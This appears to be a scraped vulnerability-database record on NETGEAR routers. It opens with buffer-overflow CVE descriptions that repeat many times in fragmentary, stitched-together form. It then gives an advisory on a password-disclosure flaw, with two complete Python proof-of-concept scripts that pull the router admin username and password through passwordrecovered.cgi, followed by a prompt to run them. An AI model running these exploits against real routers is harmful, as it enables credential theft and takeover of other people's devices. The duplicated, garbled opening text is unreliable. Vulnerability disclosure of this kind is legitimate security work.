(DoS) It may be put into a state. NETGEAR EX7000, etc. are all wireless routers from NETGEAR. The vulnerability stems from the fact that when the network system or product performs operations on the memory, it does not correctly verify the data boundary, resulting in incorrect read and write operations to other associated memory locations. Attackers can use this vulnerability to cause buffer overflow or heap overflow

(DoS) It may be put into a state. NETGEAR EX7000, etc. are all wireless routers from NETGEAR. The vulnerability stems from the fact that when the network system or product performs operations on the memory, it does not correctly verify the data boundary, resulting in incorrect read and write operations to other associated memory locations. Attackers can use this vulnerability to cause buffer overflow or heap overflow",

This affects D8500 before 1.0.3.42, EX3700 before 1.0.0.70, EX3800 before 1.0.0.70, EX6000 before 1.0.0.30, EX6100 before 1.0.2.24, EX6120 before 1.0.0.40, EX6130 before 1.0.0.22, EX6150 before 1.0.0.42, EX6200 before 1.0.3.88, EX7000 before 1.0.0.66, R6250 before 1.0.4.26, R6300-2CXNAS before 1.0.3.60, R6300v2 before 1.0.4.28, R6400 before 1.0.1.36, R6400v2 before 1.0.2.52, R6700 before 1.0.1.46, R6900 before 1.0.1.46, R7000 before 1.0.9.28, R7000P before 1.3.1.44, R6900P before 1.3.1.44, R7100LG before 1.0.0.46, R7300 before 1.0.0.68, R7900 before 1.0.2.10, R8000 before 1.0.4.18, R8000P before 1.3.0.10, R7900P before 1.3.0.10, R8500 before 1.0.2.122, R8300 before 1.0.2.122, RBW30 before 2.1.2.6, WN2500RPv2 before 1.0.0.54, and WNR3500Lv2 before 1.2.0.56. plural NETGEAR The device is vulnerable to out-of-bounds writes.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. NETGEAR D8500, etc. are all products of NETGEAR. NETGEAR D8500 is a wireless modem. WNR3500L is a wireless router. NETGEAR EX3700 is a wireless network signal extender. The vulnerability stems from the fact that the network system or product performs an operation on the memory, and the data boundary is not correctly verified, resulting in an incorrect read and write operation to other associated memory locations. This affects D8500 prior to 1.0.3.42, EX3700 prior to 1.0.0.70, EX3800 prior to 1.0.0.70, EX6000 prior to 1.0.0.30, EX6100 prior to 1.0.2.24, EX6120 prior to 1.0.0.40, EX6130 prior to 1.0.0.22, EX6150 prior to 1.0.0.42, EX6200 prior to 1.0.3.88, EX7000 prior to 1.0.0.66, R6250 prior to 1.0.4.26, R6300-2CXNAS prior to 1.0.3.60, R6300v2 prior to 1.0.4.28, R6400 prior to 1.0.1.36, R6400v2 prior to 1.0.2.52, R6700 prior to 1.0.1.46, R6900 prior to 1.0.1.46, R7000 prior to 1.0.9.28, R7000P prior to 1.3.1.44, R6900P prior to 1.3.1.44, R7100LG prior to 1.0.0.46, R7300 prior to 1.0.0.68, R7900 prior to 1.0.2.10, R8000 prior to 1.0.4.18, R8000P prior to 1.3.0.10, R7900P prior to 1.3.0.10, R8500 prior to 1.0.2.122, R8300 prior to 1.0.2.122, RBW30 prior to 2.1.2.6, WN2500RPv2 prior to 1.0.0.54, and WNR3500Lv2 prior to 1.2.0.56

(DoS) It may be put into a state. NETGEAR D8500, etc. are all products of NETGEAR. NETGEAR D8500 is a wireless modem. WNR3500L is a wireless router. NETGEAR EX3700 is a wireless network signal extender. The vulnerability stems from the fact that the network system or product performs an operation on the memory, and the data boundary is not correctly verified, resulting in an incorrect read and write operation to other associated memory locations. This affects D8500 prior to 1.0.3.42, EX3700 prior to 1.0.0.70, EX3800 prior to 1.0.0.70, EX6000 prior to 1.0.0.30, EX6100 prior to 1.0.2.24, EX6120 prior to 1.0.0.40, EX6130 prior to 1.0.0.22, EX6150 prior to 1.0.0.42, EX6200 prior to 1.0.3.88, EX7000 prior to 1.0.0.66, R6250 prior to 1.0.4.26, R6300-2CXNAS prior to 1.0.3.60, R6300v2 prior to 1.0.4.28, R6400 prior to 1.0.1.36, R6400v2 prior to 1.0.2.52, R6700 prior to 1.0.1.46, R6900 prior to 1.0.1.46, R7000 prior to 1.0.9.28, R7000P prior to 1.3.1.44, R6900P prior to 1.3.1.44, R7100LG prior to 1.0.0.46, R7300 prior to 1.0.0.68, R7900 prior to 1.0.2.10, R8000 prior to 1.0.4.18, R8000P prior to 1.3.0.10, R7900P prior to 1.3.0.10, R8500 prior to 1.0.2.122, R8300 prior to 1.0.2.122, RBW30 prior to 2.1.2.6, WN2500RPv2 prior to 1.0.0.54, and WNR3500Lv2 prior to 1.2.0.56",

NOTE: this may be a result of an incomplete fix for CVE-2017-18864. plural NETGEAR A classic buffer overflow vulnerability exists on the device.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. NETGEAR D6220, etc. are all products of NETGEAR. NETGEAR D6220 is a wireless modem. NETGEAR R6300 is a wireless router.

(DoS) It may be put into a state. NETGEAR D8500, etc. are all wireless routers from NETGEAR. The vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in incorrect read and write operations to other associated memory locations. Attackers can use this vulnerability to cause buffer overflow or heap overflow

(DoS) It may be put into a state. NETGEAR D8500, etc. are all wireless routers from NETGEAR. The vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in incorrect read and write operations to other associated memory locations. Attackers can use this vulnerability to cause buffer overflow or heap overflow",

(DoS) It may be put into a state. NETGEAR R6250, etc. are all wireless routers from NETGEAR. The vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in incorrect read and write operations to other associated memory locations. Attackers can use this vulnerability to cause buffer overflow or heap overflow",

(DoS) It may be put into a state. NETGEAR R9000, etc. are all wireless routers from NETGEAR. The vulnerability stems from the fact that when the network system or product performs operations on the memory, it does not correctly verify the data boundary, resulting in incorrect read and write operations to other associated memory locations. Attackers can use this vulnerability to cause buffer overflow or heap overflow

(DoS) It may be put into a state. NETGEAR R9000, etc. are all wireless routers from NETGEAR. The vulnerability stems from the fact that when the network system or product performs operations on the memory, it does not correctly verify the data boundary, resulting in incorrect read and write operations to other associated memory locations. Attackers can use this vulnerability to cause buffer overflow or heap overflow",

This affects D6220 before 1.0.0.38, D6400 before 1.0.0.74, D7000v2 before 1.0.0.74, D8500 before 1.0.3.39, DGN2200v4 before 1.0.0.102, DGN2200Bv4 before 1.0.0.102, EX3700 before 1.0.0.70, EX3800 before 1.0.0.70, EX6000 before 1.0.0.30, EX6100 before 1.0.2.22, EX6120 before 1.0.0.40, EX6130 before 1.0.0.22, EX6150 before 1.0.0.38, EX6200 before 1.0.3.86, EX7000 before 1.0.0.64, R6250 before 1.0.4.20, R6300v2 before 1.0.4.22, R6400 before 1.0.1.32, R6400v2 before 1.0.2.52, R6700 before 1.0.1.44, R6900 before 1.0.1.44, R6900P before 1.3.0.18, R7000 before 1.0.9.28, R7000P before 1.3.0.18, R7300DST before 1.0.0.62, R7900 before 1.0.2.10, R7900P before 1.3.0.10, R8000 before 1.0.4.12, R8000P before 1.3.0.10, R8300 before 1.0.2.116, R8500 before 1.0.2.116, WN2500RPv2 before 1.0.1.52, WNDR3400v3 before 1.0.1.18, and WNR3500Lv2 before 1.2.0.46. plural NETGEAR A classic buffer overflow vulnerability exists on the device.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. NETGEAR WNR3500L, etc. are all products of NETGEAR. WNR3500L is a wireless router. NETGEAR D6220 is a wireless modem. WN2500RP is a wireless network signal extender. The vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in incorrect read and write operations to other associated memory locations. Attackers can use this vulnerability to cause buffer overflow or heap overflow. This affects D6220 prior to 1.0.0.38, D6400 prior to 1.0.0.74, D7000v2 prior to 1.0.0.74, D8500 prior to 1.0.3.39, DGN2200v4 prior to 1.0.0.102, DGN2200Bv4 prior to 1.0.0.102, EX3700 prior to 1.0.0.70, EX3800 prior to 1.0.0.70, EX6000 prior to 1.0.0.30, EX6100 prior to 1.0.2.22, EX6120 prior to 1.0.0.40, EX6130 prior to 1.0.0.22, EX6150 prior to 1.0.0.38, EX6200 prior to 1.0.3.86, EX7000 prior to 1.0.0.64, R6250 prior to 1.0.4.20, R6300v2 prior to 1.0.4.22, R6400 prior to 1.0.1.32, R6400v2 prior to 1.0.2.52, R6700 prior to 1.0.1.44, R6900 prior to 1.0.1.44, R6900P prior to 1.3.0.18, R7000 prior to 1.0.9.28, R7000P prior to 1.3.0.18, R7300DST prior to 1.0.0.62, R7900 prior to 1.0.2.10, R7900P prior to 1.3.0.10, R8000 prior to 1.0.4.12, R8000P prior to 1.3.0.10, R8300 prior to 1.0.2.116, R8500 prior to 1.0.2.116, WN2500RPv2 prior to 1.0.1.52, WNDR3400v3 prior to 1.0.1.18, and WNR3500Lv2 prior to 1.2.0.46

(DoS) It may be put into a state. NETGEAR WNR3500L, etc. are all products of NETGEAR. WNR3500L is a wireless router. NETGEAR D6220 is a wireless modem. WN2500RP is a wireless network signal extender. The vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in incorrect read and write operations to other associated memory locations. Attackers can use this vulnerability to cause buffer overflow or heap overflow. This affects D6220 prior to 1.0.0.38, D6400 prior to 1.0.0.74, D7000v2 prior to 1.0.0.74, D8500 prior to 1.0.3.39, DGN2200v4 prior to 1.0.0.102, DGN2200Bv4 prior to 1.0.0.102, EX3700 prior to 1.0.0.70, EX3800 prior to 1.0.0.70, EX6000 prior to 1.0.0.30, EX6100 prior to 1.0.2.22, EX6120 prior to 1.0.0.40, EX6130 prior to 1.0.0.22, EX6150 prior to 1.0.0.38, EX6200 prior to 1.0.3.86, EX7000 prior to 1.0.0.64, R6250 prior to 1.0.4.20, R6300v2 prior to 1.0.4.22, R6400 prior to 1.0.1.32, R6400v2 prior to 1.0.2.52, R6700 prior to 1.0.1.44, R6900 prior to 1.0.1.44, R6900P prior to 1.3.0.18, R7000 prior to 1.0.9.28, R7000P prior to 1.3.0.18, R7300DST prior to 1.0.0.62, R7900 prior to 1.0.2.10, R7900P prior to 1.3.0.10, R8000 prior to 1.0.4.12, R8000P prior to 1.3.0.10, R8300 prior to 1.0.2.116, R8500 prior to 1.0.2.116, WN2500RPv2 prior to 1.0.1.52, WNDR3400v3 prior to 1.0.1.18, and WNR3500Lv2 prior to 1.2.0.46",

(DoS) It may be put into a state. NETGEAR EX7000, etc. are all wireless routers from NETGEAR. The vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in incorrect read and write operations to other associated memory locations. Attackers can use this vulnerability to cause buffer overflow or heap overflow

(DoS) It may be put into a state. NETGEAR EX7000, etc. are all wireless routers from NETGEAR. The vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in incorrect read and write operations to other associated memory locations. Attackers can use this vulnerability to cause buffer overflow or heap overflow",

(DoS) It may be put into a state. NETGEAR EX7000, etc. are all wireless routers from NETGEAR. The vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in incorrect read and write operations to other associated memory locations. Attackers can use this vulnerability to cause buffer overflow or heap overflow",

(DoS) It may be put into a state. NETGEAR D8500, etc. are all wireless routers from NETGEAR. The vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in incorrect read and write operations to other associated memory locations. Attackers can use this vulnerability to cause buffer overflow or heap overflow

(DoS) It may be put into a state. NETGEAR D8500, etc. are all wireless routers from NETGEAR. The vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in incorrect read and write operations to other associated memory locations. Attackers can use this vulnerability to cause buffer overflow or heap overflow",

VAR-201701-0766

Vulnerability from variot - Updated: 2023-12-18 12:20

An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices. They are prone to password disclosure via simple crafted requests to the web management server. The bug is exploitable remotely if the remote management option is set, and can also be exploited given access to the router over LAN or WLAN. When trying to access the web panel, a user is asked to authenticate; if the authentication is canceled and password recovery is not enabled, the user is redirected to a page that exposes a password recovery token. If a user supplies the correct token to the page /passwordrecovered.cgi?id=TOKEN (and password recovery is not enabled), they will receive the admin password for the router. If password recovery is set the exploit will fail, as it will ask the user for the recovery questions that were previously set when enabling that feature. This is persistent (even after disabling the recovery option, the exploit will fail) because the router will ask for the security questions. NETGEARR8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900 and R8000 are Netgear's wireless router products. There are information disclosure vulnerabilities in several NETGEAR products. Successful exploits will allow attackers to obtain sensitive information, such as credentials, that may aid in further attacks.

Product description: Multiple Netgear Routers

Many Netgear routers are prone to password disclosure via simple crafted requests to the web management server. This can easily be reproduced using the attached poc, or by sending these two simple requests via the browser: 1. http://router/.../ will redirect you to http://router/..../unauth.cgi?id=TOKEN to acquire the token 2. http://router/passwordrecovered.cgi?id=TOKEN will give you credentials (some models require you to send a post request instead of get)

netgore.py

import sys import requests

def scrape(text, start_trig, end_trig): if text.find(start_trig) != -1: return text.split(start_trig, 1)[-1].split(end_trig, 1)[0] else: return "i_dont_speak_english"

disable nasty insecure ssl warning

requests.packages.urllib3.disable_warnings()

1st stage - get token

ip = sys.argv[1] port = sys.argv[2] url = 'http://' + ip + ':' + port + '/' try: r = requests.get(url) except: url = 'https://' + ip + ':' + port + '/' r = requests.get(url, verify=False) model = r.headers.get('WWW-Authenticate') if model is not None: print "Attcking: " + model[13:-1] else: print "not a netgear router" sys.exit(0) token = scrape(r.text, 'unauth.cgi?id=', '\"') if token == 'i_dont_speak_english': print "not vulnerable" sys.exit(0) print "token found: " + token

2nd stage - pass the token - get the password

url = url + 'passwordrecovered.cgi?id=' + token r = requests.post(url, verify=False)

profit

if r.text.find('left\">') != -1: username = (repr(scrape(r.text, 'Router Admin Username', ''))) username = scrape(username, '>', '\'') password = (repr(scrape(r.text, 'Router Admin Password', ''))) password = scrape(password, '>', '\'') if username == "i_dont_speak_english": username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '')) password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '')) else: print "not vulnerable becuse password recovery IS set" sys.exit(0)

html encoding pops out of nowhere, lets replace that

password = password.replace("#","#") password = password.replace("&","&") print "user: " + username print "pass: " + password

================================ Just run the PoC against a router to get the credentials if it is vulnerable.

Many Netgear routers are prone to password disclosure via simple crafted request to the web management server.

This mechanism does not work correctly on the very first request to "passwordrecovered.cgi" and the token is not properly checked, this means that any TOKEN value will result in disclosure of the password. The issue occurs after every reboot of the router.

This can easily be reproduced using the attached poc, or by sending a simple request via the browser: 1. http://router/passwordrecovered.cgi?id=Trustwave_SpiderLabs will give you credentials (some models require you to send a post request instead of get)

netgore2.py

import sys import requests

def scrape(text, start_trig, end_trig): if text.find(start_trig) != -1: return text.split(start_trig, 1)[-1].split(end_trig, 1)[0] else: return "i_dont_speak_english"

disable nasty insecure ssl warning

requests.packages.urllib3.disable_warnings()

1st stage

ip = sys.argv[1] port = sys.argv[2] url = 'http://' + ip + ':' + port + '/' try: r = requests.get(url) except: url = 'https://' + ip + ':' + port + '/' r = requests.get(url, verify=False) model = r.headers.get('WWW-Authenticate') if model is not None: print "Attcking: " + model[13:-1] else: print "not a netgear router" sys.exit(0)

2nd stage

url = url + 'passwordrecovered.cgi?id=get_rekt' try: r = requests.post(url, verify=False) except: print "not vulnerable router" sys.exit(0)

profit

if r.text.find('left\">') != -1: username = (repr(scrape(r.text, 'Router Admin Username', ''))) username = scrape(username, '>', '\'') password = (repr(scrape(r.text, 'Router Admin Password', ''))) password = scrape(password, '>', '\'') if username == "i_dont_speak_english": username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '')) password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '')) else: print "not vulnerable router, or some one else already accessed passwordrecovered.cgi, reboot router and test again" sys.exit(0)

html encoding pops out of nowhere, lets replace that

password = password.replace("#","#") password = password.replace("&","&") print "user: " + username print "pass: " + password

================================ Just run the PoC against a router to get the credentials if it is vulnerable.

Remediation Steps: Please see NETGEAR's KBA for list of firmware patches for various models.

    "data": "An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices. They are prone to password disclosure via simple crafted requests to the web management server. The bug is exploitable remotely if the remote management option is set, and can also be exploited given access to the router over LAN or WLAN. When trying to access the web panel, a user is asked to authenticate; if the authentication is canceled and password recovery is not enabled, the user is redirected to a page that exposes a password recovery token. If a user supplies the correct token to the page /passwordrecovered.cgi?id=TOKEN (and password recovery is not enabled), they will receive the admin password for the router. If password recovery is set the exploit will fail, as it will ask the user for the recovery questions that were previously set when enabling that feature. This is persistent (even after disabling the recovery option, the exploit will fail) because the router will ask for the security questions. NETGEARR8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900 and R8000 are Netgear\u0027s wireless router products. There are information disclosure vulnerabilities in several NETGEAR products. \nSuccessful exploits will allow attackers to obtain sensitive information, such as credentials, that may aid in further attacks.
